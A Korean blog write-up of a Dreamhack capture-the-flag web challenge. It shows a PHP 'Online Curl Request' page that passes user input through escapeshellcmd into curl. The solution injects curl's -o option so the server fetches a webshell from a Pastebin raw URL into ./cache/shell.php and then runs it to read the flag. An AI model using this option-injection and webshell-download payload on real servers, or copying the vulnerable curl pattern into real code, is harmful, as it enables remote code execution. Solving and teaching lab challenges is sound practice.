본문 바로가기

Dreamhack/웹해킹

[LEVEL 1] Command Injection Advanced

웹 서비스에 접속하면 URL 입력창과 submit 버튼이 제공된 매우 단순한 화면이 나타납니다. "Online Curl Request"라는 제목이 표시되어 있어, 사용자가 입력한 URL로 curl 요청을 보내는 기능임을 알 수 있습니다.

 

127.0.0.1을 넣어서 보내보면은 아래의 사진처럼 http only가 뜨게 됩니다.

URL 입력창에 http로 시작하지 않는 값을 입력하면 "http only !"라는 메시지가 표시되는 것을 확인할 수 있습니다. 이는 서버가 curl 요청을 보낼 때 URL이 반드시 http로 시작해야 한다는 필터링이 적용되어 있음을 의미합니다

 

다시 http를 붙인 뒤 요청을 보내게 되면 아래와 같은 응답을 받을 수 있습니다.

 

다음으로 문제에서 제공하는 소스코드 파일을 다운받아 분석해보기로 했습니다.

 

index.php

<html>
    <head></head>
    <link rel="stylesheet" href="/static/bulma.min.css" />
    <body>
        <div class="container card">
        <div class="card-content">
        <h1 class="title">Online Curl Request</h1>
    <?php
        if(isset($_GET['url'])){
            $url = $_GET['url'];
            if(strpos($url, 'http') !== 0 ){
                die('http only !');
            }else{
                $result = shell_exec('curl '. escapeshellcmd($_GET['url']));
                $cache_file = './cache/'.md5($url);
                file_put_contents($cache_file, $result);
                echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
                echo '<pre>'. htmlentities($result) .'</pre>';
                return;
            }
        }else{
        ?>
            <form>
                <div class="field">
                    <label class="label">URL</label>
                    <input class="input" type="text" placeholder="url" name="url" required>
                </div>
                <div class="control">
                    <input class="button is-success" type="submit" value="submit">
                </div>
            </form>
        <?php
        }
    ?>
        </div>
        </div>
    </body>
</html>

 

소스코드를 분석해보면 다음과 같은 동작 흐름을 확인할 수 있습니다.

먼저 $_GET['url']로 사용자 입력을 받고, strpos($url, 'http') !== 0 조건문을 통해 URL이 http로 시작하는지 검증합니다. 이 필터링을 통과하지 못하면 "http only !"를 출력하고 종료됩니다.

중요한 부분은 shell_exec('curl '. escapeshellcmd($_GET['url'])) 입니다. escapeshellcmd() 함수가 적용되어 있어 ;, |, &, 백틱 등의 쉘 메타문자를 이용한 Command Injection은 방어되어 있습니다.

 

하지만 escapeshellcmd()는 curl의 옵션 인자까지는 필터링하지 못합니다. 즉, -o, -d 같은 curl 옵션을 삽입하는 것이 가능합니다. 이 점을 이용하면 curl 옵션 인젝션 공격을 시도할 수 있습니다.

 

추가적으로 Dockerfile을 분석해보면 flag 파일에 대한 중요한 정보를 확인할 수 있습니다.

COPY deploy/flag.c /flag.c
RUN apt install -y gcc \
    && gcc /flag.c -o /flag \
    && chmod 111 /flag && rm /flag.c

flag.c 파일을 컴파일하여 /flag 실행 파일을 생성하고, chmod 111로 권한을 설정합니다. 이는 실행 권한만 부여하고 읽기 권한은 제거한 것입니다. 따라서 -d @/flag 같은 방식으로 파일 내용을 직접 읽는 것은 불가능하며, /flag를 실행해야만 flag를 획득할 수 있습니다.

 

이를 위해 웹쉘을 업로드하는 방식을 시도해보겠습니다. 먼저 Pastebin에 다음과 같은 웹쉘 코드를 작성했습니다.

<?php system('/flag'); ?>

 
Pastebin에 웹쉘 코드를 업로드한 후, curl 옵션 인젝션을 통해 서버에 저장을 시도합니다. 이때 일반 URL이 아닌 raw URL을 사용해야 합니다.
https://pastebin.com/raw/PtSyYrNk -o ./cache/shell.php

 

raw URL을 사용하는 이유는 일반 Pastebin 페이지(https://pastebin.com/PtSyYrNk)에 접속하면 HTML, CSS, 광고 등이 포함된 전체 웹페이지가 반환되기 때문입니다. 반면 raw URL(https://pastebin.com/raw/PtSyYrNk)은 순수 텍스트 내용만 반환하므로, 우리가 작성한 PHP 웹쉘 코드만 정확히 가져올 수 있습니다.

 

-o ./cache/shell.php 옵션을 통해 curl 결과를 서버의 ./cache/ 디렉토리에 shell.php 파일로 저장합니다. 이 디렉토리는 Dockerfile에서 chmod 777로 쓰기 권한이 부여되어 있어 파일 생성이 가능합니다.

 

웹쉘 업로드가 완료되었으므로, 이제 해당 파일에 접속하여 flag를 획득합니다.

브라우저에서 위 URL에 접속하면 서버에 저장된 shell.php가 실행됩니다. 웹쉘 코드 내의 system('/flag')가 동작하여 /flag 실행 파일이 실행되고, 그 결과로 flag 값이 화면에 출력됩니다

'Dreamhack > 웹해킹' 카테고리의 다른 글

[LEVEL 1] sql injection bypass WAF  (0) 2026.01.07
[LEVEL 1] error based sql injection  (0) 2026.01.05
[LEVEL 1] type confusion  (0) 2025.09.11
[LEVEL 1] [wargame.kr] strcmp  (1) 2025.09.08
[LEVEL 1] [wargame.kr] fly me to the moon  (0) 2025.09.08